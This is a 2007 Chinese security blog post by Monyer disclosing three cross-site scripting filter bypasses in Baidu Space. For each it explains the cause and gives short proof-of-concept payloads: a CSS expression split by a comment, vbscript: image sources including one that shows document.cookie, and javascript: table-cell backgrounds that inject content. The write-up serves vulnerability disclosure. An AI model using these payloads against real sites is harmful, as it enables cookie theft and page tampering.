百度空间07年三个跨站漏洞

来源:梦之光芒

一、

# discover by Monyer

# http://hi.baidu.com/monyer

漏洞成因:百度虽然对于插入的html标签的属性进行过滤,包括style(层叠样式表),但是并没有对混淆在样式中的注释部分进行位置检查。造成可以通过在expression中插入注释,譬如:expr/*XSS*/ession,并以此方式绕过百度的过滤系统。但是由于在IE运行时会忽略掉注释内容,使得XSS代码得以正常运行,跨站即产生

示例:<img STYLE="xss:expr/*XSS*/ession(alert("XSS"))">
<div STYLE="xss:expr/*XSS*/ession(this.innerHTML="<h1> monyer</h1>")"></div>

# http://hi.baidu.com/monyer【2007-1-10】
———————————————————————————————————————————————
二、

# discover by Monyer

# http://hi.baidu.com/monyer

漏洞成因:虽然百度空间费劲心思过滤了javascript,过滤了expression,过滤了等等的一些触发事件。可是它忽略了过滤vbscript,因此造成了一个非常严重的跨站漏洞的出现

示例:<img src="vbscript:msgbox("xss")" />
<img src="vbscript:msgbox(document.cookie)" />

# http://hi.baidu.com/monyer【2007-1-10】
———————————————————————————————————————————————
三、

# discover by Monyer

# http://hi.baidu.com/monyer

漏洞成因:我们知道对于backgroud样式属性是需要嵌套url才能引用XSS代码的,如果直接把代码写进backgroud是不能运行的,因为缺少了一个触发机制。而table标签会自动加载内部内容——相当与eval。(如果你上一个比较慢的空间,并且整个空间只有一个table,那么你会发现直到整个table数据全部下载到本地才能显示网页内容,原因即是如此)

示例:<table><tr><td background="javascript:alert(/xss/)"></tr></table>

<table >
<tr >
<td background="javascript:TheId.innerHTML=%22<embed src=\'URL\' height width >%22" >sth or noting</td >
</tr >
</table >

# http://hi.baidu.com/monyer【2007-1-10】

相关日志

发表评论